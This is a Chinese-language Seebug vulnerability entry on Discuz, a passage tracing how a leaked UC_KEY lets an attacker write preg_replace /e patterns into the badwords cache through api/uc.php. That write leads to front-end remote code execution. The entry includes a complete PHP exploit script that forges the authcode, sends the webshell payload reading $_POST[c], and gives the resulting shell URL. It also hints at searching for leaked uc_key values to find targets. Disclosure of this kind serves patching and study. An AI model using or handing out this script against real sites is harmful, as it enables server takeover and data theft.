Discuz利用UC_KEY进行前台getshell2

2015-08-31T00:00:00
ID SSV:93755
Type seebug
Reporter Root
Modified 2015-08-31T00:00:00

Description

简要描述:

http://drops.wooyun.org/papers/7830 其实这里已经说得比较明白了。 利用这个漏洞已经好些时候,包括之前腾讯的shell(http://www.wooyun.org/bugs/wooyun-2010-092923) 不过好像官方还是不太重视,特意再提一下,不用登陆后台,直接前台能利用(顺便打卡^-^) 乌云搜索uc_key会有很多惊喜哦。

详细说明:

\api\uc.php

function updatebadwords($get, $post) { global $_G; if(!API_UPDATEBADWORDS) { return API_RETURN_FORBIDDEN; } $data = array(); if(is_array($post)) { foreach($post as $k => $v) { $data['findpattern'][$k] = $v['findpattern']; $data['replace'][$k] = $v['replacement']; } } $cachefile = DISCUZ_ROOT.'./uc_client/data/cache/badwords.php'; $fp = fopen($cachefile, 'w'); $s = "<?php\r\n"; $s .= '$_CACHE[\'badwords\'] = '.var_export($data, TRUE).";\r\n"; fwrite($fp, $s); fclose($fp); return API_RETURN_SUCCEED; }

更新 uc_client/data/cache/badwords.php 再看 \source\module\forum\forum_ajax.php

if($_GET['action'] == 'checkusername') { $username = trim($_GET['username']); $usernamelen = dstrlen($username); if($usernamelen < 3) { showmessage('profile_username_tooshort', '', array(), array('handle' => false)); } elseif($usernamelen > 15) { showmessage('profile_username_toolong', '', array(), array('handle' => false)); } loaducenter(); $ucresult = uc_user_checkname($username);

跟踪 uc_user_checkname

function uc_user_checkname($username) { return call_user_func(UC_API_FUNC, 'user', 'check_username', array('username'=>$username)); } define('UC_API_FUNC', UC_CONNECT == 'mysql' ? 'uc_api_mysql' : 'uc_api_post');

默认情况下 UC_API_FUNC为 uc_api_mysql

function uc_api_mysql($model, $action, $args=array()) { global $uc_controls; if(empty($uc_controls[$model])) { include_once UC_ROOT.'./lib/db.class.php'; include_once UC_ROOT.'./model/base.php'; include_once UC_ROOT."./control/$model.php"; eval("\$uc_controls['$model'] = new {$model}control();"); } if($action{0} != '_') { $args = uc_addslashes($args, 1, TRUE); $action = 'on'.$action; $uc_controls[$model]->input = $args; return $uc_controls[$model]->$action($args); } else { return ''; } }

继续跟综到

function check_usernamecensor($username) { $_CACHE['badwords'] = $this->base->cache('badwords'); $censorusername = $this->base->get_setting('censorusername'); $censorusername = $censorusername['censorusername']; $censorexp = '/^('.str_replace(array('\\*', "\r\n", ' '), array('.*', '|', ''), preg_quote(($censorusername = trim($censorusername)), '/')).')$/i'; $usernamereplaced = isset($_CACHE['badwords']['findpattern']) && !empty($_CACHE['badwords']['findpattern']) ? @preg_replace($_CACHE['badwords']['findpattern'], $_CACHE['badwords']['replace'], $username) : $username; if(($usernamereplaced != $username) || ($censorusername && preg_match($censorexp, $username))) { return FALSE; } else { return TRUE; } }

注意到 @preg_replace($_CACHE['badwords']['findpattern'], $_CACHE['badwords']['replace'], $username) 两个参数都可控,即可造成命令执行。

漏洞证明:

利用脚本,3.2后要加上 formhash + cookie 绕过xss拦截

``` <?php $timestamp = time()+10*3600; $host="www.host.com"; $agent= md5("Mozilla/5.0 (Windows NT 6.1; rv:27.0) Gecko/20100101 Firefox/27.0"); $uc_key="uckey"; $code=urlencode(_authcode("agent=$agent&time=$timestamp&action=updatebadwords", 'ENCODE', $uc_key));

$cmd1='&lt;?xml version="1.0" encoding="ISO-8859-1"?&gt;

<root> <item id="0"> <item id="findpattern">/admin/e</item> <item id="replacement">@preg_replace(chr(47).chr(47).chr(101),$_POST[c],chr(098));</item> </item> </root>'; / $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?><root></root>'; / $html1 = send($cmd1); echo $html1;

function send($cmd){ global $host,$code; $message = "POST /api/uc.php?code=".$code." HTTP/1.1\r\n"; $message .= "Accept: /\r\n"; $message .= "Referer: ".$host."\r\n"; $message .= "Accept-Language: zh-cn\r\n"; $message .= "Content-Type: application/x-www-form-urlencoded\r\n"; $message .= "User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:27.0) Gecko/20100101 Firefox/27.0\r\n"; $message .= "Host: ".$host."\r\n"; $message .= "Content-Length: ".strlen($cmd)."\r\n"; $message .= "Connection: Close\r\n\r\n"; $message .= $cmd;

$fp = fsockopen($host, 80);
fputs($fp, $message);

$resp = '';
while ($fp && !feof($fp))
    $resp .= fread($fp, 1024);

return $resp;

} function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4; $key = md5($key ? $key : UC_KEY); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.str_replace('=', '', base64_encode($result)); } } ?> ```

提交后,shell地址为: http://127.0.0.1/forum.php?mod=ajax&inajax=yes&infloat=register&handlekey=register&ajaxmenu=1&action=checkusername&username=admin